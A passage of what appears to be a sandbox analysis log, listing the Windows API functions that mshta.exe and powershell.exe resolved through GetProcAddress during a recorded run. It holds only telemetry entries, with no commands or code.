RegisterTouchHitTestingWindow (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter LresultFromObject (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetGUIThreadInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetAccCursorInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetCursorInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetWindowInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetTitleBarInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetScrollBarInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetComboBoxInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetAncestor (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RealChildWindowFromPoint (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RealGetWindowClassW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetAltTabInfoW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetListBoxInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetMenuBarInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SendInput (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter BlockInput (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPoint (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter PhysicalToLogicalPoint (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter WindowFromPhysicalPoint (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetPhysicalCursorPos (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter VirtualFreeEx (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter NtAllocateVirtualMemory (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter NtFreeVirtualMemory (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SxsOleAut32MapIIDToProxyStubCLSID (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegQueryValueW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter ObjectFromLresult (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter MsimtfIsWindowFiltered (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegisterDragDrop (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CLSIDFromProgIDEx (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SxsOleAut32RedirectTypeLibrary (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SxsOleAut32MapConfiguredClsidToReferenceClsid (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter ReleaseBindInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GdiRealizationInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter FontIsLinked (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetTextFaceAliasW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetFontAssocStatus (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GdiIsMetaPrintDC (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RevokeDragDrop (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RevokeBindStatusCallback (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter DWriteCreateFactory (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CreateDXGIFactory1 (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTOpenAdapterFromGdiDisplayName (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCloseAdapter (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTQueryAdapterInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTOpenAdapterFromDeviceName (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SetupDiGetClassDevsW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SetupDiEnumDeviceInterfaces (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SetupDiGetDeviceInterfaceDetailW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SetupDiDestroyDeviceInfoList (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SetupDiGetDevicePropertyW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetDisplayModeList (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetVidPnSourceOwner (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetDisplayMode (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetGammaRamp (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetDeviceState (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTWaitForVerticalBlankEvent (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateDCFromMemory (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyDCFromMemory (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCheckVidPnExclusiveOwnership (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCheckMonitorPowerState (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCheckSharedResourceAccess (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter SHCreateStreamOnFileW (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CreateXmlReader (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CreateDXGIFactory (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CheckETWTLS (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3D11CreateDevice (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter CompatValue (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetThunkVersion (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetQueuedLimit (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetMultisampleMethodList (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetDisplayPrivateDriverFormat (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroySynchronizationObject (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateSynchronizationObject (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyContext (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateContext (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetContextSchedulingPriority (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetContextSchedulingPriority (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTPresent (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyDevice (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateDevice (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTQueryAllocationResidency (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetAllocationPriority (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyAllocation (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTOpenResource (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTQueryResourceInfo (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateAllocation (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSignalSynchronizationObject (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTWaitForSynchronizationObject (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTEscape (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTUnlock (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTLock (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTRender (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter OpenAdapter10_2 (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter ShouldShowIntranetWarningSecband (UID: 00000000-00005936) "mshta.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005936) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfoA (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter _WTGetSignatureInfo@24 (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WintrustCertificateTrust (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SoftpubAuthenticode (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SoftpubInitialize (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SoftpubLoadMessage (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SoftpubLoadSignature (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SoftpubCheckCert (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SoftpubCleanup (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter MsiSIPIsMyTypeOfFile (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter IsFileSupportedName (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter PsIsMyFileType (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter PsPutSignature (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter PsGetSignature (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter 